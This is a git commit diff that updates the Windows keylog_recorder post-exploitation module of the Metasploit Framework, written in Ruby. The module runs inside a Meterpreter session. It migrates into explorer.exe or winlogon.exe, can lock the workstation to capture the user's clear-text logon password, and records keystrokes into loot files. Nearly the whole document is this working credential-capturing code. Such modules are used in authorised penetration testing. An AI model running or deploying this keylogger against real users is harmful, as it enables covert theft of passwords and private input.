Update for windows keylog_recorder

bug/bundler_fix
Josh Hale 2016-07-16 22:38:10 -05:00
parent b13d0f879a
commit 9cb9a2f69d
1 changed files with 270 additions and 112 deletions

View File

@ -22,10 +22,11 @@ class MetasploitModule < Msf::Post
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
password. password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Josh Hale <jhale85446[at]gmail.com>'],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', ] 'SessionTypes' => [ 'meterpreter', ]
@ -34,7 +35,7 @@ class MetasploitModule < Msf::Post
[ [
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]), OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]), OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]), OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]), OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID', OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
'explorer', ['explorer','winlogon','pid']]) 'explorer', ['explorer','winlogon','pid']])
@ -42,41 +43,66 @@ class MetasploitModule < Msf::Post
], self.class) ], self.class)
register_advanced_options( register_advanced_options(
[ [
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]) OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
OptEnum.new('TimeOutAction', [true, 'Action to take when Session Communication Timeout occurs.',
'wait', ['wait','exit']])
], self.class) ], self.class)
end end
# Run Method for when run command is issued
def run def run
print_status("Executing module against #{sysinfo['Computer']}") print_status("Executing module against #{sysinfo['Computer']}")
if datastore['MIGRATE'] if datastore['MIGRATE']
case datastore['CAPTURE_TYPE'] if datastore['CAPTURE_TYPE'] == "pid"
when "explorer" if !migrate_pid(datastore['PID'], session.sys.process.getpid)
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN']) print_error("Unable to migrate to given PID. Using Explorer instead.")
when "winlogon" return unless process_migrate
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "pid"
if datastore['PID'] and has_pid?(datastore['PID'])
pid_migrate(datastore['PID'])
else
print_error("If capture type is pid you must provide a valid one")
return
end end
else
return unless process_migrate
end end
end end
if startkeylogger lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe"
keycap(datastore['INTERVAL'],set_log)
if start_keylogger
@logfile = set_log
keycap
end end
end end
# Returns the path name to the stored loot filename # Initial Setup values
#
# @return [void] A useful return value is not expected here
def setup
@logfile = nil
@timed_out = false
@timed_out_age = nil # Session age when it timed out
@interval = datastore['INTERVAL'].to_i
@wait = datastore['TimeOutAction'] == "wait" ? true : false
if @interval < 1
print_error("INTERVAL value out of bounds. Setting to 5.")
@interval = 5
end
end
# This function sets the log file and loot entry.
#
# @return [StringClass] Returns the path name to the stored loot filename
def set_log def set_log
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes") store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes")
end end
# This writes a timestamp event to the output file.
#
# @return [void] A useful return value is not expected here
def time_stamp(event)
file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
end
# This locks the Windows screen if so requested in the datastore.
#
# @return [void] A useful return value is not expected here
def lock_screen def lock_screen
print_status("Locking the desktop...") print_status("Locking the desktop...")
lock_info = session.railgun.user32.LockWorkStation() lock_info = session.railgun.user32.LockWorkStation()
@ -87,116 +113,248 @@ class MetasploitModule < Msf::Post
end end
end end
# Method to Migrate in to Explorer process to be able to interact with desktop # This function returns the process name that the session is running in.
def process_migrate(captype,lock) #
print_status("Migration type #{captype}") # Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#begin #
if captype == "explorer" # @return [String Class] the session process's name
process2mig = "explorer.exe" # @return [NilClass] Session match was not found
elsif captype == "winlogon" def get_process_name
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['pid'] == session.sys.process.getpid
return proc['name']
end
end
return nil
end
# This function evaluates the capture type and migrates accordingly.
# In the event of errors, it will default to the explorer capture type.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def process_migrate
captype = datastore['CAPTURE_TYPE']
if captype == "winlogon"
if is_uac_enabled? and not is_admin? if is_uac_enabled? and not is_admin?
print_error("UAC is enabled on this host! Winlogon migration will be blocked.") print_error("UAC is enabled on this host! Winlogon migration will be blocked. Using Explorer instead.")
else
end return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
process2mig = "winlogon.exe"
if lock
lock_screen
end
else
process2mig = "explorer.exe"
end
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
session.core.migrate(x['pid'].to_i)
print_status("Migration successful!!")
end end
end end
return true
return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid)
end end
# Method for migrating in to a PID # This function returns the first process id of a process with the name provided.
def pid_migrate(pid) # It will make sure that the process has a visible user meaning that the session has rights to that process.
print_status("\tMigrating into #{pid}...") # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
session.core.migrate(pid) #
print_status("Migration successful!") # @return [Fixnum] the PID if one is found
# @return [NilClass] if no PID was found
def get_pid(proc_name)
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['name'] == proc_name && proc['user'] != ""
return proc['pid']
end
end
return nil
end end
# Method for starting the keylogger # This function attempts to migrate to the specified process by Name.
def startkeylogger() #
begin # @return [TrueClass] if it successfully migrated
#print_status("Grabbing Desktop Keyboard Input...") # @return [FalseClass] if it failed to migrate
#session.ui.grab_desktop def migrate(target_pid, proc_name, current_pid)
print_status("Starting the keystroke sniffer...") if !target_pid
session.ui.keyscan_start print_error("Could not migrate to #{proc_name}.")
return false
end
print_status("Trying #{proc_name} (#{target_pid})")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true return true
rescue end
print_error("Failed to start the keystroke sniffer: #{$!}")
begin
client.core.migrate(target_pid)
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue ::Rex::RuntimeError => error
print_error("Could not migrate to #{proc_name}.")
print_error(error.to_s)
return false return false
end end
end end
# Method for writing found keystrokes # This function attempts to migrate to the specified process by PID only.
def write_keylog_data(logfile) #
data = session.ui.keyscan_dump # @return [TrueClass] if it successfully migrated
outp = "" # @return [FalseClass] if it failed to migrate
data.unpack("n*").each do |inp| def migrate_pid(target_pid, current_pid)
fl = (inp & 0xff00) >> 8 if !target_pid
vk = (inp & 0xff) print_error("Could not migrate to PID #{target_pid}.")
kc = VirtualKeyCodes[vk] return false
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
end end
sleep(2) if !has_pid?(target_pid)
if not outp.empty? print_error("Could not migrate to PID #{target_pid}. Does not exist!")
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes'] return false
file_local_write(logfile,"#{outp}\n") end
print_status("Trying PID: #{target_pid}")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
end end
end
# Method for Collecting Capture
def keycap(keytime, logfile)
begin begin
rec = 1 client.core.migrate(target_pid)
#Creating DB for captured keystrokes print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
print_status("Keystrokes being saved in to #{logfile}") return true
#Inserting keystrokes every number of seconds specified rescue ::Rex::RuntimeError => error
print_status("Recording keystrokes...") print_error("Could not migrate to PID #{target_pid}.")
while rec == 1 print_error(error.to_s)
write_keylog_data(logfile) return false
sleep(keytime.to_i)
end
rescue::Exception => e
print_status "Saving last few keystrokes..."
write_keylog_data(logfile)
print_status("#{e.class} #{e}")
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop
end end
end end
def cleanup # This function starts the keylogger
session.ui.keyscan_stop rescue nil #
# @return [TrueClass] keylogger started successfully
# @return [FalseClass] keylogger failed to start
def start_keylogger
session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason.
begin
print_status("Starting the keylog recorder...")
session.ui.keyscan_start
return true
rescue
print_error("Failed to start the keylog recorder: #{$!}")
return false
end
end end
# This function dumps the keyscan and uses the API function to parse
# the extracted keystrokes.
#
# @return [void] A useful return value is not expected here
def write_keylog_data
output = session.ui.keyscan_extract(session.ui.keyscan_dump)
if not output.empty?
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
file_local_write(@logfile,"#{output}\n")
end
end
# This function manages the key recording process
# It stops the process if the session is killed or goes stale
#
# @return [void] A useful return value is not expected here
def keycap
rec = 1
print_status("Keystrokes being saved in to #{@logfile}")
print_status("Recording keystrokes...")
while rec == 1
begin
sleep(@interval)
if session_good?
write_keylog_data
else
if !session.alive?
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
rec = 0
end
end
rescue::Exception => e
if e.class.to_s == "Rex::TimeoutError"
@timed_out_age = get_session_age
@timed_out = true
if @wait
time_stamp("timed out - now waiting")
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
else
time_stamp("timed out - exiting")
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
rec = 0
end
elsif e.class.to_s == "Interrupt"
print_status("User interrupt.")
rec = 0
else
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
@timed_out = true
rec = 0
end
end
end
end
# This function returns the number of seconds since the last time
# that the session checked in.
#
# @return [Integer Class] Number of seconds since last checkin
def get_session_age
return Time.now.to_i - session.last_checkin.to_i
end
# This function makes sure a session is still alive acording to the Framework.
# It also checks the timed_out flag. Upon resume of session it resets the flag so
# that logging can start again.
#
# @return [TrueClass] Session is still alive (Framework) and not timed out
# @return [FalseClass] Session is dead or timed out
def session_good?
return false if !session.alive?
if @timed_out
if get_session_age < @timed_out_age && @wait
time_stamp("resumed")
@timed_out = false #reset timed out to false, if module set to wait and session becomes active again.
end
return !@timed_out
end
return true
end
# This function writes off the last set of key strokes
# and shuts down the key logger
#
# @return [void] A useful return value is not expected here
def finish_up
print_status("Shutting down keylog recorder. Please wait...")
last_known_timeout = session.response_timeout
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
begin
write_keylog_data
rescue::Exception => e
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
session.response_timeout = last_known_timeout
return
end
session.ui.keyscan_stop rescue nil
session.response_timeout = last_known_timeout
end
# This function cleans up the module.
# finish_up was added for a clean exit when this module is run as a job.
#
# Known Issue: This appears to run twice when killing the job. Not sure why.
# Does not cause issues with output or errors.
#
# @return [void] A useful return value is not expected here
def cleanup
finish_up if session_good?
time_stamp("exited")
end
end end